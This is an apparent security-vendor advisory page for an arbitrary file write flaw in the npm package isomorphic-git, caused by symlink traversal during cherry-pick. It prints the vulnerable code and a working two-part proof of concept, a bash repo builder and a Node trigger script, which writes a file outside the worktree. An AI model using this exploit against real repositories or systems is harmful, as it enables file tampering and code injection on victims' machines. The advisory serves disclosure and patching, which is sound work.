NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

isomorphic-git: Arbitrary File Write via SymlinkGHSA-pvh8-4vwp-j58p

HIGHFix: isomorphic-git/isomorphic-git#2377

GHSA-pvh8-4vwp-j58p is a high-severity (CVSS 8) Path Traversal vulnerability in isomorphic-git. A fix is available for isomorphic-git — see the affected versions and patch details below.

Also known asCVE-2026-86017
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-pvh8-4vwp-j58p.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
📦isomorphic-git

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

There is an arbitrary file write vulnerability in isomorphic-git (verified on v1.38.7). When applying tree changes during git cherry-pick, the helper applyTreeChanges materializes files by joining the worktree root with the entry path and writing the blob contents, but it never checks whether any leading path component is a symbolic link. An attacker who can cause a victim repository to contain a tracked symlink such as link -> / can later supply a cherry-pick tree containing link/tmp/<file>; isomorphic-git follows the symlink and writes the file outside the worktree. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.

Details

The vulnerable logic is in applyTreeChanges at src/utils/walkerToTreeEntryMap.js:260-295. For every changed blob it builds the on-disk path and writes it directly:

// src/utils/walkerToTreeEntryMap.js:260-295
// apply the changes to work dir
await acquireLock({ fs, gitdir, dirRemoved, ops }, async () => {
  for (const op of ops) {
    const currentFilepath = join(dir, op.filepath)
    switch (op.method) {
      // ...
      case 'write':
        // only writes if file is not in the removedDirs
        if (
          !dirRemoved.some(removedDir =>
            currentFilepath.startsWith(removedDir)
          )
        ) {
          const { object } = await _readObject({
            fs,
            cache: {},
            gitdir,
            oid: op.oid,
          })
          // just like checkout, since mode only applicable to create, not update, delete first
          if (await fs.exists(currentFilepath)) {
            await fs.rm(currentFilepath)
          }
          await fs.write(currentFilepath, object) // only handles regular files for now
        }
        break
    }
  }
})

join(dir, op.filepath) produces a path such as /victim/link/tmp/isomorphic-git-poc-01. When link is a tracked symlink to /, the subsequent fs.write(currentFilepath, object) follows the symlink and writes /tmp/isomorphic-git-poc-01. No call is made to the leading-path symlink guard that the main checkout code uses.

The main checkout routine protects the exact same operation with assertNoSymlinkInLeadingPath (src/commands/checkout.js:30-43):

// src/commands/checkout.js:30-43
async function assertNoSymlinkInLeadingPath(fs, dir, fullpath) {
  const parts = fullpath.split('/')
  parts.pop() // the final segment is the entry being written, not a leading dir
  let current = dir
  for (const part of parts) {
    if (part === '' || part === '.') continue
    current = `${current}/${part}`
    const stats = await fs.lstat(current)
    // lstat returns null when the path doesn't exist yet (nothing to traverse).
    if (stats && stats.isSymbolicLink()) {
      throw new UnsafeFilepathError(fullpath)
    }
  }
}

That guard is invoked by the regular checkout path at src/commands/checkout.js:251, :324 and :731, but it is not invoked by applyTreeChanges.

PoC

  1. Build/push the malicious repo:
#!/usr/bin/env bash
set -euo pipefail

REMOTE_URL='ssh://[email protected]:222/admin/test-repo.git'
BRANCH='isomorphic-poc'
TARGET_DIR='/'
MARKER_NAME='isomorphic-git-poc-01'
MARKER_CONTENT='pwned by isomorphic-git'
BUILD_BASE='./isogit-poc'
REPO_DIR="$BUILD_BASE/repo"

OIDS_FILE="$(cd "$(dirname "$0")" && pwd)/poc-oids.env"

export GIT_SSH_COMMAND='ssh -p 222 -o BatchMode=yes -o StrictHostKeyChecking=no'

log() { echo "[+] $*" >&2; }

reset_remote_branch() {
  local path="$1"
  git init "$path" -q -b main
  git -C "$path" commit --allow-empty -m reset -q
  git -C "$path" push --force "$REMOTE_URL" "main:$BRANCH" >/dev/null 2>&1
}

# git_commit <repo> <tree_oid> [<parent_oid>] -> commit_oid
git_commit() {
  local repo="$1" tree="$2" parent="${3:-}"
  local now tz author body_file oid
  now=$(date +%s)
  tz=$(date +%z)
  author="attacker <[email protected]> ${now} ${tz}"
  body_file=$(mktemp)
  {
    echo "tree $tree"
    [ -n "$parent" ] && echo "parent $parent"
    echo "author $author"
    echo "committer $author"
    echo
    echo "poc"
  } > "$body_file"
  oid=$(git -C "$repo" hash-object -w -t commit --stdin < "$body_file")
  rm -f "$body_file"
  echo -n "$oid"
}

main() {
  mkdir -p "$BUILD_BASE"
  local tmp_reset
  tmp_reset=$(mktemp -d)
  trap 'rm -rf "${tmp_reset:-}" "$BUILD_BASE"' EXIT

  reset_remote_branch "$tmp_reset"
  log "reset remote branch $BRANCH"

  rm -rf "$REPO_DIR"
  mkdir -p "$REPO_DIR"
  git init "$REPO_DIR" -q -b main
  ln -s "$TARGET_DIR" "$REPO_DIR/link"
  git -C "$REPO_DIR" add link
  git -C "$REPO_DIR" commit -q -m 'init symlink'
  local head_oid
  head_oid=$(git -C "$REPO_DIR" rev-parse HEAD)

  # Build the malicious tree: link/tmp/<marker>.
  local blob_oid file_tree_oid sub_tree_oid mal_tree_oid mal_commit_oid
  blob_oid=$(echo -n "$MARKER_CONTENT" | git -C "$REPO_DIR" hash-object -w --stdin)
  file_tree_oid=$(echo "100644 blob $blob_oid	$MARKER_NAME" | git -C "$REPO_DIR" mktree)
  sub_tree_oid=$(echo "040000 tree $file_tree_oid	tmp" | git -C "$REPO_DIR" mktree)
  mal_tree_oid=$(echo "040000 tree $sub_tree_oid	link" | git -C "$REPO_DIR" mktree)

  mal_commit_oid=$(git_commit "$REPO_DIR" "$mal_tree_oid" "$head_oid")
  git -C "$REPO_DIR" update-ref refs/heads/main "$mal_commit_oid"
  git -C "$REPO_DIR" push --force "$REMOTE_URL" "main:$BRANCH" >/dev/null 2>&1
  log "pushed malicious commit $mal_commit_oid"

  cat > "$OIDS_FILE" <<EOF
HEAD_OID=$head_oid
MAL_COMMIT_OID=$mal_commit_oid
EOF
}

main "$@"
  1. Trigger the vulnerability through the SDK from a fresh clone:
const fs = require('fs')
// Install isomorphic-git v1.38.7 locally before running this PoC:
//   npm install --no-save [email protected]
const { default: git } = require('isomorphic-git')

const REMOTE_URL = 'http://127.0.0.1:3000/admin/test-repo.git'
const BRANCH = 'isomorphic-poc'
const VICTIM_DIR = './victim'
const OIDS_FILE = __dirname + '/poc-oids.env'

function loadOids() {
  if (!fs.existsSync(OIDS_FILE)) {
    console.error(`[-] oids file not found: ${OIDS_FILE} (run ./build_repo.sh first)`)
    process.exit(2)
  }
  const env = {}
  for (const line of fs.readFileSync(OIDS_FILE, 'utf8').split('\n')) {
    const m = line.match(/^([A-Z_]+)=(.*)$/)
    if (m) env[m[1]] = m[2]
  }
  if (!env.HEAD_OID || !env.MAL_COMMIT_OID) {
    console.error(`[-] oids file missing HEAD_OID or MAL_COMMIT_OID`)
    process.exit(2)
  }
  return env
}

async function main() {
  const { HEAD_OID, MAL_COMMIT_OID } = loadOids()

  fs.rmSync(VICTIM_DIR, { recursive: true, force: true })
  fs.mkdirSync(VICTIM_DIR, { recursive: true })

  console.log(`[+] clone ${REMOTE_URL} -> ${VICTIM_DIR}`)
  await git.clone({
    fs,
    http: require('isomorphic-git/http/node'),
    dir: VICTIM_DIR,
    url: REMOTE_URL,
    ref: BRANCH,
    singleBranch: true,
    noCheckout: true,
  })

  console.log(`[+] checkout symlink commit ${HEAD_OID.slice(0, 8)}`)
  await git.checkout({ fs, dir: VICTIM_DIR, ref: HEAD_OID })

  console.log(`[+] cherryPick ${MAL_COMMIT_OID.slice(0, 8)}`)
  await git.cherryPick({
    fs,
    dir: VICTIM_DIR,
    oid: MAL_COMMIT_OID,
    author: { name: 'poc', email: '[email protected]' },
    committer: { name: 'poc', email: '[email protected]' },
  })

  console.log('[+] done')
}

main().catch(err => { console.error(err); process.exit(1) })
  1. Verify the arbitrary write:
$ cat /tmp/isomorphic-git-poc-01
# pwned by isomorphic-git

Impact

This leads to an arbitrary file write relative to the filesystem root (or anywhere the symlink points), enabling data tampering, code injection into interpreted files, and other follow-on impact depending on the target path.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmisomorphic-gitall versions1.38.8npm install isomorphic-git@1.38.8

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for isomorphic-git, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update isomorphic-git to 1.38.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pvh8-4vwp-j58p is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary There is an **arbitrary file write vulnerability** in `isomorphic-git` (verified on `v1.38.7`). When applying tree changes during `git cherry-pick`, the helper `applyTreeChanges` materializes files by joining the worktree root with the entry path and writing the blob contents, but it never checks whether any leading path component is a symbolic link. An attacker who can cause a victim repository to contain a tracked symlink such as `link -> /` can later supply a cherry-pick tree containing `link/tmp/<file>`; `isomorphic-git` follows the symlink and writes the file outside the workt
O3 Security · Impact-Aware SCA

Is GHSA-pvh8-4vwp-j58p in your dependencies?

Find it across npm, including transitive dependencies.

isomorphic-git: Arbitrary File Write via Symlink (High 8)